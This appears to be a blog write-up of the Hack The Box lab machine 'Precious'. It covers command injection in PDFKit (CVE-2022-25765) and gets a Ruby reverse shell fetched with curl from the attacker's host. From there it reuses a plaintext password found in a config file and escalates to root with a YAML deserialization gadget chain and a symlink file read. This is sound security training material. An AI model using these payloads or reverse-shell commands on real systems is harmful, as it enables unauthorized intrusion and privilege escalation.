Post

HTB • Precious

Precious is an easy linux machine created by Nauten on Hack the Box that features a web server that uses a version of PDFKit that is vulnerable to CVE-2022-25765, which can be exploited to execute commands as the user ruby. Within this user’s home directory we find a folder containing a configuration file with the credentials for another user by the name of henry. As henry, we can run a particular script as root via the sudo command. This script is vulnerable to a form of YAML deserialization, which leads us to code execution as root.

Initial Recon

Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.

1
2
3
4
5
6
# bryan@attacker
rhost="10.10.11.189" # Target IP address
lhost="10.10.14.4" # Your VPN IP address
echo rhost=$rhost >> .env
echo lhost=$lhost >> .env
. ./.env && ctfscan $rhost

The open TCP ports reported in the scan include:

PortServiceProductVersion
22SSHOpenSSH8.4p1 Debian 5+deb11u1
80HTTPnginx1.18.0

The scan also reports that port 80 responds with a redirection to http://precious.htb/. Let’s add this hostname to our /etc/hosts file.

1
2
3
# bryan@attacker
echo 'vhost=("precious.htb")' >> .env && . ./.env
echo -e "$rhost\\t$vhost" | sudo tee -a /etc/hosts

Web

We’ll begin by visiting http://precious.htb/ in our favorite browser.

Home page The main web index

The page apparently has some functionality that will convert the content at a given URL to a PDF document.

PDF Generator

Upon sending a dummy URL through the web form, we observe a request from our browser with BurpSuite.

Convert Request

The request just passes the submitted URL to the server. Let’s test this functionality on our own HTTP server.

1
2
3
4
# bryan@attacker
mkdir share && cd share
echo '<p>Hello!</p>' > index.html
python3 -m http.server --bind $lhost 8080
1
2
# bryan@attacker
curl -d "url=http://$lhost:8080/" http://precious.htb/ -o response.bin

We get a request to our HTTP server and subsequently receive the PDF result.

1
2
3
# bryan@attacker
file response.bin # The response body is a PDF document
xdg-open response.bin # Open the document

The document contains the text “Hello!”, which is expected because that is the content we had on our site earlier. Checking the metadata of the document with exiftool, we find out that the Creator field mentions that the document was generated using a product identified as PDFKit v0.8.6.

CVE-2022-25765

After some research, we determine that this version of pdfkit is vulnerable to CVE-2022-25765, meaning we could potentially inject OS commands as explained here. Let’s try exploiting the bug to establish a reverse shell session with PwnCat. We’ll use a reverse shell written in Ruby because we know that Ruby is installed since PDFKit is written in Ruby.

1
2
3
4
5
6
# bryan@attacker
mkdir -p share && cd share
rb="require 'socket';spawn('sh',[:in,:out,:err]=>TCPSocket.new('$lhost',8443))"
echo "$rb" > index.html # Write ruby reverse shell to web index
python3 -m http.server --bind $lhost 8080 &>/dev/null & # Serve payload
pwncat-cs -m linux -l $lhost 8443 # PwnCat listener | Install: `pip3 install pwncat-cs`
1
2
# bryan@attacker
curl precious.htb -d "url=http://%2520%60curl%20$lhost:8080|ruby%60" # Trigger payload

Once we trigger the payload, Our PwnCat handler gets a callback and stabilizes the shell.

Privilege Escalation

Ruby

Our reverse shell session is in the context of the user ruby. In this user’s home directory, we find the file ~/.bundle/config which contains potential credentials.

1
2
3
# ruby@precious.htb (PwnCat)
find ~ -type f # We find a configuration file of sorts
cat ~/.bundle/config # Let's read it

The user henry, associated with the password Q3c1AqGHtoI0aXAYFH, is also present on the current machine with the same password.

1
2
# bryan@attacker
pwncat-cs ssh://henry@precious.htb # password is Q3c1AqGHtoI0aXAYFH

Henry

As henry, we can execute a specific command as root via sudo.

1
2
# henry@precious.htb (SSH)
sudo -l
1
2
User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Let’s take a look at this script and see what it does.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

This script doesn’t do much besides calling YAML.load on the content of the file dependencies.yml from our working directory. When looking into vulnerabilities affecting YAML.load, we discover that it is not safe to use with user supplied data. We also run into this wonderful post that describes a gadget chain we could potentially use to execute commands as root. We’ll modify the command within the YAML payload from the post to spawn an interactive root shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -pi"
         method_id: :resolve

Now with the YAML payload dependencies.yml in our working directory, we execute the vulnerable script with sudo

1
2
# henry@precious.htb (SSH)
sudo /usr/bin/ruby /opt/update_dependencies.rb # trigger the payload

The command successfully spawns a root shell, from which we can read the final flag at /root/root.txt

Alternative Solution

Another way we could get the root flag is by using the script at /opt/update_dependencies.rb to read files through a symlink. When the script looks for dependencies.yml in the working directory, it will find a planted symlink that will point to /root/root.txt. When the script tries to parse the file as YAML, it will display an error containing the file contents.

1
2
3
4
# henry@precious.htb (SSH)
cd $(mktemp -d)
ln -s /root/root.txt ./dependencies.yml # create symlink
sudo /usr/bin/ruby /opt/update_dependencies.rb # read /root/root.txt
This post is licensed under CC BY 4.0 by the author.